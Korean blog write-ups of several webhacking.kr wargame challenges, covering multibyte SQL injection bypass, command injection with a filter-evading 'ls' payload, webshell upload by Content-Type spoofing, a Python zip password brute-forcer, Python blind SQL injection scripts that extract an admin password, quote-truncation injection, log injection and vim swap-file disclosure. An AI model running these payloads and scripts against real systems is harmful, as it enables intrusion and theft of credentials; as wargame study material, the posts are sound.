늘모자란, 개발

늘모자란, 개발




별 희한한걸 많이 봤더니 sql injection이 맘이 편해지는것 같기도하다.

 <html>
<head>
<title>Challenge 45</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
id : <input name=id value=guest><br>
pw : <input name=pw value=guest><br>
<input type=submit>&nbsp;&nbsp;&nbsp;<input type=reset>
</form>
<?
if(time()<1256900400) exit();
?>

<!-- index.phps -->

<?

$pw="?????";

if($_GET[id] && $_GET[pw])
{

$_GET[id]=mb_convert_encoding($_GET[id],'utf-8','euc-kr');

if(eregi("admin",$_GET[id])) exit();
if(eregi("from",$_GET[id])) exit();
if(eregi("union",$_GET[id])) exit();
if(eregi("limit",$_GET[id])) exit();
if(eregi("union",$_GET[pw])) exit();
if(eregi("pw",$_GET[pw])) exit();
if(eregi("=",$_GET[pw])) exit();
if(eregi(">",$_GET[pw])) exit();
if(eregi("<",$_GET[pw])) exit();
if(eregi("from",$_GET[pw])) exit();
$data=@mysql_fetch_array(mysql_query("select id from members where id='$_GET[id]' and pw=md5('$_GET[pw]')"));


if($data)
{
echo("hi $data[0]<br><br>");

if($data[0]=="admin") @solve();
}


if(!$data)
{
echo("Wrong");
}

}

?>

</body>
</html>



필터링이 어마무시하다. 블라인드 인젝션을 걸려고 CHAR도 해보고 별에별 삽질을 다해봤는데 안된다.
소스를 무시하고 하던데로 삽질을 좀 했는데, 문제를 무시하지 말자ㅠㅠ 뜬금없이 인코딩이 등장하면 저걸 써먹어야할 것 아니니..

mb_convert_encoding를 일단 검색해보면 구글에 바로 취약점과 엮어서 검색된다.
내용인 즉슨 구버전 PHP의 function 자체 결함이 있다는것 같은데, 일단 고대로 따라해보기로 한다.
이래도 되나 싶을정도로 한방에 패스된다. 어이가 없다.

이대로 끝나면 너무 허무하니까, 왜 취약점이 발생하는지 소개를 해야겠다.
곧 마주하게 되겠지만, 요기만큼 잘 설명된곳을 찾질 못해서 링크를 하고 끝낸다. 여튼 멀티바이트가 문제다. 다국어... 스레기.. 한국어합시다..
2016/04/02 09:22 2016/04/02 09:22

소스도 별거 없고, 일단 1 적고 들어가본다.
Hello 1 이 돌아오는데 뭔가 이상하다. 창이 넘어가는게 한번 더 거친것 같다.
디버거를 켜고 한번 다시 해보기로 한다.

index.php 에서 form값으로 index.php를 넘겨주는데, 값을 입력받으면 <meta>를 이용해 /index/go.html으로 넘겨준다.
그리고 go.html은 내 아이디가 적혀있다. 따로 인자를 넘기진 않는것 같은데도..

근데 뭐 admin이면 admin을 적어도 되고 공백을 넘겨도 넘어가고, 55글자씩 적어서 보내도 잘 된다.
뭘 의도하는지 잘 모르겠다. 그러던와중에 ; 를 적으니까 인자가 안넘어는걸 발견했다. \도 마찬가지.. 이게 쓸모가 있나 모르겠다

그래서 검색 했더니 Command Injection이라고 한다. ㅡㅡ 이게 파일이 생성되고 있는지 아닌지 밖에선 알 길이 없으니...
그제서야 ls 고 cp고 쳐봤는데 하나도 안된다. 허 참...

어쨌든 이런 느낌의 명령어가 실행되고 있나 보다. 아마 그럼 exec일려나? 이런느낌인것 같다.

exec('echo $_POST['html']' > /index/go.html);


근데 아직도 여기 뭘 적어야되는지 모르겠다. 시스템 명령어를 넣으면 성공인가 싶은데. 대강 찾아보니 ls를 넣어야된다는 것 같다.
그래도 이해가 안되서 결국 command injection으로 검색해보니 OWASP에서 보여주고 있는게 있다.

<?php
print("Please specify the name of the file to delete");
print("<p>");
$file=$_GET['filename'];
system("rm $file");
?>


요컨데, 요런 코드가 있으면

http://127.0.0.1/delete.php?filename=bob.txt;id


이렇게 질의를 하면

Please specify the name of the file to delete
uid=33(www-data) gid=33(www-data) groups=33(www-data) 


이렇게 대꾸 한다는것이다. 요 문제에서도 비슷한걸 수행해야 하는 모양이다.
최종 골은, /index/go.html이 아니라 다른 파일을 만들게 해야된다는것!  근데 bypass를 검색해봤는데 주로 사용되는 " 랑 ; 가 이미 필터링 되고 있다. '는 되는것 같고.. bash의 #가 주석이니까 #를 넣는 방법으로도 잘 안되었다ㅠㅠ

결국 검색을 좀 했는데 (이문제는 정말 부끄럽다;;)
ls가 필터링되고 있으니 간단히 ls 필터링을 회피해야된다는것이다. 그래서 다음과 같이 만들어주면 된다.

'&l's


부끄러우니 첨언을 좀 하자면,
&는 커맨드에서 앞 명령어가 성공적으로 실행되게 되면 다음 명령어도 수행하라는 말이다.
즉 echo hello은 성공적으로 실행되기때문에, 뒤의 ls도 동작시켜 go.html에 같이 쓰게 하는것이다.
(실제로, 'l's라고 적어도 ls명령어를 출력한다 -_-;)

정말 별에별 공격이 다있구나 싶다...
2016/04/02 08:59 2016/04/02 08:59


진짜 웹쉘을 올려야하나? 싶었는데 일단 아무거나 올려본다.
아무 확장자도 없이 올렸는데 바로 Access denied가 돌아왔다

힌트대로 변경해서 보내보기로 한다.
Content-Type을 Content-Type: image/jpeg 로 보내주니 정상업로드가 되는 듯 하다.

Done!<br><br><a href=upload/hihi>check</a>


이런식으로 경로와 위치를 알려주는데, 이것저것 올려봐도 안된다. 그래서 진짜 웹쉘을 구했다 (-_-)
판단을 어찌하는진 모르겠지만, 웹쉘을 업로드하면 완료된다. 좀.. 허무한 문제네.

<hr>
<script>alert('Congratulation!');</script><center><h1><br><br><hr><font color=gray>You have cleared the 43 problems.</font><br><br><font color=green><b>Score + 250</b></font><br><hr></h1></center>
2016/04/02 08:20 2016/04/02 08:20


간단한 테이블인데 범상치가 않다.

<html>
<head>
<title>Challenge 42</title>
</head>
<body>

<table border=1 align=center width=300>
<tr><td width=50>no</td><td>subject</td><td>file</td></tr>
<tr><td>2</td><td>test</td><td>test.txt [<a href=?down=dGVzdC50eHQ=>download</a>]</tr>
<tr><td>1</td><td>read me</td><td>test.zip [<a href=javascript:alert("Access%20Denied")>download</a>]</td></tr>
</table>

<!--

test.zip password is only numbers

-->

</body>
</html>



일단 test.zip은 누르면 무조건 Access Denied이다.
test.txt는 뭔 링크로 이동하게 되는데 끝에 =가 붙은게 심상찮다. base64 decode해보니 말짱히 decode가 된다. test.txt라고 한다.
그럼 test.zip을 base64로 encode한다음에 down 파라미터에 넣어보자

받아진다.
모두 예상했다싶이 zip파일이고 안에는 readme.txt가 들어가있다. 문제는 여기 비번이 걸려있다.........



zip파일 비밀번호 푸는게 webhack? 인가 싶은데.. 일단은.. 주석보니 숫자로만 되있다는 희망적인(?) 말도 있고 풀어봐야겠다...
구글에 crack zip이라고만 쳐도 아주 쏟아지게 나오지만, setup을 해야되길래 그냥 리눅스에서 해보기로 한다.

Archive:  test.zip
[test.zip] readme.txt password:
   skipping: readme.txt              incorrect password


unzip하니까 이녀석이 이렇게 나온다.
근데 왠지 python으로 할 수 있을 것 같았다. 역시, 쉬웠다.

   from zipfile import ZipFile
  
   for i in range(1,10000):
       try:
           with ZipFile('test.zip') as zf:
               zf.extractall(pwd='{}'.format(i))
           print i
       except:
           pass


근데 unzip은 되는데 readme.txt가 말짱하게 안나왔다 ㅋㅋ 결국 얻은 값을 윈도우에서 압축해제해서 확인했다.
URL이 하나 적혀있고, 거기 password가 적혀있다. Auth하면 인증끝!

파일 비번도 어렵게 설정하고, 다운을 못하게 하는 파일이면 제대로 검사하도록 하자

2016/04/02 08:12 2016/04/02 08:12
input type='file' 폼이 하나 있다. 머릿속으로 그려보자.

index.phps가 있으니 이녀석을 보고 ..

 <html>
<head>
<title>Challenge 41</title>
</head>
<body>

<?
$hidden_dir="???";

$pw="???";

if($_FILES[up])
{
$fn=$_FILES[up][name];
$fn=str_replace(".","",$fn);
if(eregi("/",$fn)) exit("no");
if(eregi("\.",$fn)) exit("no");
if(eregi("htaccess",$fn)) exit("no");
if(eregi(".htaccess",$fn)) exit("no");
if(strlen($fn)>10) exit("no");
$fn=str_replace("<","",$fn);
$fn=str_replace(">","",$fn);
$cp=$_FILES[up][tmp_name];

copy($cp,"$hidden_dir/$fn");

$f=@fopen("$hidden_dir/$fn","w");
@fwrite($f,"$pw");
@fclose($f);

echo("Done~");

}


?>

<form method=post action=index.php enctype="multipart/form-data">
<input type=file name=up><input type=submit value='upload'>
</form>
</body>
</html>



받은 이름중에서 . 랑 < , > 때고,
/ 안됨, \. 안됨
htaccess안됨, .htaccess 안됨
글자길이는 10자미만. 근데 아예 안적고 보내도 안되는것 같고.

역경을 모두 패스하면 저장되는것 같다.
요점은 hidden_dir인 것 같은데 얘를 어떻게 해야하나.
필터된 단어를 꾸역꾸역 넣어보자.
.를 넣어보니 no, 완전 공백으로 넣어도 no

< 를 넣어봤는데 뭔가 반응이 다르다. 왜인가.
<와 >는 위에서 필터링되고 있는 녀석들을 다 거치고 내려오게 된다.
즉 PHP는 파일명에 아무것도 안넣게 되고 에러를 뿜게 된다.

<html>
<head>
<title>Challenge 41</title>
</head>
<body>
<b>Warning</b>:  copy(/) [<a href='function.copy'>function.copy</a>]


이렇게 히든 dir을 알게 되면, 아무거나 하나 멀쩡한거 올리고, 경로로 이동해 파일명을 친다.
그럼 패스워드가 적혀있고 이걸 Auth하면 패스!

2016/04/02 07:55 2016/04/02 07:55


500점이나 되는 고득점 찬스..
세개 전부 다 맞춰야 로그인이 되는 듯 보인다. 역시 admin으로 로그인하는게 goal일듯 싶다.
근데 대강 막 넣어봐도 Failure이라고만 뜨고 힌트가 없다.

no를 다르게 하고 id를 다르게 하고 pw를 다르게 해도 오류메세지가 전부 같았다. 으찌된 일이란말인가... 뭐 하라는것인지 감도 안잡혔다
일단 no에 간단한 구문을 넣어보았다.

1 or 1=1


Access Denied가 나왔다.

1 && 1=1

는 된다 헐ㅋ

이제 true와 false를 알아낼 방법이 생겼다. 아마도...
간단히 쿼리문을 생각해보면

select * from table where no=1&&1=1 and id=guest and pw=guest


뭐 이런 느낌일까?
blind sql injection이 되는지 확인하기 위해서 몇가지 테스트를 해보기로 한다.

no 1의 guest는 5자리의 아이디니까, length가 5가 나오면 성공이라 할 수 있겠다.

#!/usr/bin/env python
# -*- coding: utf8 -*-
  
import urllib, urllib2, re
  
sess = ""
 
headers = {'Host': 'webhacking.kr',
           'Cookie': "PHPSESSID={}".format(sess)
          }
pw = ''
for i in range(1,10):
    #for j in range(97,123):
    url = 'http://webhacking.kr/challenge/web/web-29/index.php?no=1%26%26length%28id%29%3D{}&id=guest&pw=guest'.format(i)
    req = urllib2.Request(url, '', headers)
    response = urllib2.urlopen(req).read()

    if ("Success" in response):
        print "!", i
 


5가 나온다. 된다. 여기서 한참헤맸는데..처음엔 주석으로 처리해서 넘으려고 #랑 --등 다해봤는데 안된다.

그리고 반전 아닌 반전이 잇는데
위 소스 고대로 하면 죽었다 깨어나도 2 row의 아이디를 알아낼 수가 없다. 왜냐면 admin에 매치가 되면, admin page가 따로 있기 때문이다! (빠밤)...



돌아오는 response를 확인안하면 절대 알 수가 없다 ㅡㅡ 당연히 Success일거라 생각했는데.. 어쨌뜬 Success가 아니라 admin으로 필터링하면 아이디가 admin인것을 알 수 있다.

이제 질의시간이 남았다

#!/usr/bin/env python
# -*- coding: utf8 -*-
  
import urllib, urllib2, re
  
sess = ""
 
headers = {'Host': 'webhacking.kr',
           'Cookie': "PHPSESSID={}".format(sess)
          }
pw = ''
for i in range(1,15):
    for j in range(92,123):
        url = 'http://webhacking.kr/challenge/web/web-29/index.php?no=2%7C%7Csubstr%28pw%2C{}%2C1%29%3D{}&id=guest&pw=guest'.format(i,hex(j))
        req = urllib2.Request(url, '', headers)
        response = urllib2.urlopen(req).read()
        #print response

        if ("admin" in response):
            pw = pw + chr(j)
print pw


비밀번호 length까지 알아내면 좋겠지만 그건 귀찮으니 넘어가고. 이대로 돌리면 글자가 한개가 안나오는데 ㅡㅡ
이건 guest의 비밀번호와 같아서 생기는 문제라고 한다. 어떻게 처리하면 되긴하겠지만.. 그냥 관대하게 넘어가도록 하자.


2016/04/02 07:42 2016/04/02 07:42


묻따말 바로 index.phps를 보자.

 <html>
<head>
<title>Chellenge 39</title>
</head>
<body>

<?

$pw="????";

if($_POST[id])
{
$_POST[id]=str_replace("\\","",$_POST[id]);
$_POST[id]=str_replace("'","''",$_POST[id]);
$_POST[id]=substr($_POST[id],0,15);
$q=mysql_fetch_array(mysql_query("select 'good' from zmail_member where id='$_POST[id]"));

if($q[0]=="good") @solve();

}

?>

<form method=post action=index.php>
<input type=text name=id maxlength=15 size=30>
<input type=submit>
</form>
</body>
</html>



$_POST 값으로 넘겨줘야 하는데
\는 아예 쓰지도 못하게 해놨고, '는 ''로 치환하고 있다. 그리고 최대 15자리까지밖에 못쓰는것 같다.
풀고나서 한말이지만 문제가 진짜 조온나 불친절하다. 어쨌든 select해야되는 id의 값은 괘념치 않아도 되는것 같다.

처음엔 CHAR같은걸 넣어야 하나 생각을 했는데 애초에 필터링을 회피하기 위한 문제라서 그런건 아니고,
취약점 방어를 위해 자르는걸 역이용하는것이다.

요런것이다.
admin         '


입력값이 이렇게 생겨먹으면 필터링을 거친 후엔 이렇게 된다.

admin         ''


다만 안타깝게도 필터링은 15자리에서 정확히 끊어준다.
고로 원문과 동일하게 쿼리를 날릴 수 있게 된다. 처음엔 '''''''''''''''''''''''''''''''''''''''' 막 이렇게 해봤는데 어리석었다... 생각좀하자 ㅠㅠ
2016/04/02 06:18 2016/04/02 06:18

100점짜리 문제.. 이름도 보너스란다.
패스워드도 없다. admin.php를 보라고 되어 있으니 얼른 보자면

<html>
<head>
<title>log viewer</title>
</head>
<body>
<!--

hint : admin

-->
log<br><br><br></body>
</html>


admin을 넣어봤는데 당연히 안되고, 1,2를 넣어봤더니

아이피:아이디 식으로 기록되었다.
raw로 바로 admin을 보내봤으나 필터링되었다. 그래서 혹시 하는 마음에

아이피:admin을 적고 보내봤더니... 바로 클리어 되었다. ㅡㅡ

100점짜리 문제라 별 생각없이 넘어갈 수도 있겠는데 저대로 보내는게 아니라 의도한 정답은 여기인것 같다.
요컨데 개행등을 넣어서 임의의 로그를 삽입해 속일 수 있다는것이 문제의 핵심인듯 보인다
2016/04/02 06:06 2016/04/02 06:06


내 생각엔 숫자들은 timestamp인것 같고, . 랑 ..가 붙은걸 보니 디렉토리를 나타내는것 같아보이는데..
주석에 index.phps가 있으므로 한번 보자.

 <html>
<head>
<title>Challenge 37</title>
</head>
<body>
<!-- index.phps -->
<?

$pw="???";

$time=time();


$f=fopen("tmp/tmp-$time","w");
fwrite($f,"127.0.0.1");
fclose($f);


$fck=@file("tmp/.number");

if($fck) $fck=$fck[0];
if(!$fck) $fck=0;

$fck++;

$f2=fopen("tmp/.number","w");
fwrite($f2,$fck);
fclose($f2);

$file_nm=$HTTP_POST_FILES[upfile][name];
$file_nm=str_replace("<","",$file_nm);
$file_nm=str_replace(">","",$file_nm);
$file_nm=str_replace(".","",$file_nm);
$file_nm=str_replace(" ","",$file_nm);

if($file_nm)
{
$f=@fopen("tmp/$file_nm","w");
@fwrite($f,$_SERVER[REMOTE_ADDR]);
@fclose($f);
}




echo("<pre>");

$kk=scandir("tmp");

for($i=0;$i<=count($kk);$i++)
{
echo("$kk[$i]\n");
}

echo("</pre>");





$ck=file("tmp/tmp-$time");
$ck=$ck[0];

$request="GET /$pw HTTP/1.0\r\n";
$request.="Host: $ck\r\n";
$request.="\r\n";

$socket=@fsockopen($ck,7777,$errstr,$errno,1);

@fputs($socket,$request);

@fclose($socket);

echo("$ck:7777<br>");

if($fck>=30)
{
$kk=scandir("tmp");

for($i=0;$i<=count($kk);$i++)
{
@unlink("tmp/$kk[$i]");
}

}

?>

<form method=post enctype="multipart/form-data" action=index.php>
<input type=file name=upfile><input type=submit>
</form>




</body>
</html>




소스가 여태봤던것중에 젤 길다.
간단히 요약하면, tmp파일마다 아이피가 적혀있는데 (127.0.0.1)
만약 파일을 수신하게 되면 127.0.0.1 이 아닌 파일에 있는 아이피를 기록하게 된다.

tmp파일은 유닉스타임스탬프가 붙여서 계속 만들어진다.
이건 전 문제에 포트포워딩하는거랑 똑같기 때문에 다음과 같이 만들고 파일을 업로드하고 기다렸다. 근데 아무리해도 안된다.

nc -nvl -p 7777


잘 읽어보니 파일에 내가 뭘 쓰던 상관이 없다.
REMOTE_ADDR을 기록하기 때문에 내 호스트 아이피가 무조건 기록되고 접속하게 된다. 근데 나는 학교라서 포트포워딩을 할 수 가 없다. 일반적으로 다 막혀있기 때문에 또 내 개인서버로 통하게 해야했다... 결국 스크립트를 짠담에 서버에서 따로 돌려줘야했다.

#!/usr/bin/env python
# -*- coding: utf8 -*-
 
import urllib, urllib2, re
 
sess = ""

headers = {'Host': 'webhacking.kr',
           'Content-Type': 'multipart/form-data; boundary=---------------------------21469235120676',
           'Cookie': "PHPSESSID={}".format(sess)
          }
pw = ''
while(1):
        url = 'http://webhacking.kr/challenge/web/web-18/index.php'
        data = """
-----------------------------21469235120676
Content-Disposition: form-data; name="upfile"; filename="tmp-1459543023"
Content-Type: application/octet-stream


-----------------------------21469235120676--
"""
        req = urllib2.Request(url, data, headers)
        response = urllib2.urlopen(req).read()


무한루프기땜에 적당히 돌리다 멈추면된다.
어쨌든 REMOTE_ADDR이다. 아이피 못바꾼다!

서버에서 위 스크립트를 돌리면 바로 패스워드가 들어온다.

근데 패스워드역시 서버 아이피 기준으로 따라가는것인지 내 호스트에서는 인증이 안된다.
결국 auth도 서버에서 따로 만들어서 보내주면된다.

요문제는 결국 콘솔에서 클리어..

python gogo.py
<script>alert('challenge 37 clear!!');location.href='?mode=challenge';</script>


2016/04/02 05:54 2016/04/02 05:54
들어가면

vi
blackout

이라는 글자가 반겨준다.
blackout은 술먹고밖에 경험 못한 ... 아니다.
어쨌든 vi편집중에 blackout이 됐을 경우에 대한 얘긴가보다.

사실 이것도 충분히 취약점이 될 수 있다. 강제로 꺼버리면 임시 파일이 남기 때문이다. 그냥 넘어가긴 아까우니까 임시로 파일을 하나 만들어보자

126 Apr  1 15:14 webhack.js
12288 Apr  1 17:39 .webhack.js.swp


webhack.js파일을 열고 다른 쉘에서 봤을때 숨김파일로 .webhack.js.swp 가 생긴다. 이는 임시저장이라고 생각하면 편할 듯 하다.
실 서버에서 vi로 편집하다가 정상종료하지 않으면 요 파일이 고대로 남게 된다.

다시 본론으로 돌아와서, index.php 를 편집하다가 blackout되었다면,
.index.php.swp 라는 파일이 생성되었을것이다. 요걸 입력하면..

good! <? $password=md5("$_SERVER[REMOTE_ADDR] dlseprtmvpdlwlfmfquswhgkwkglgl"); ?>


이친구가 반겨준다.
md5를 풀고 입력하면 문제 끝.
2016/04/01 17:43 2016/04/01 17:43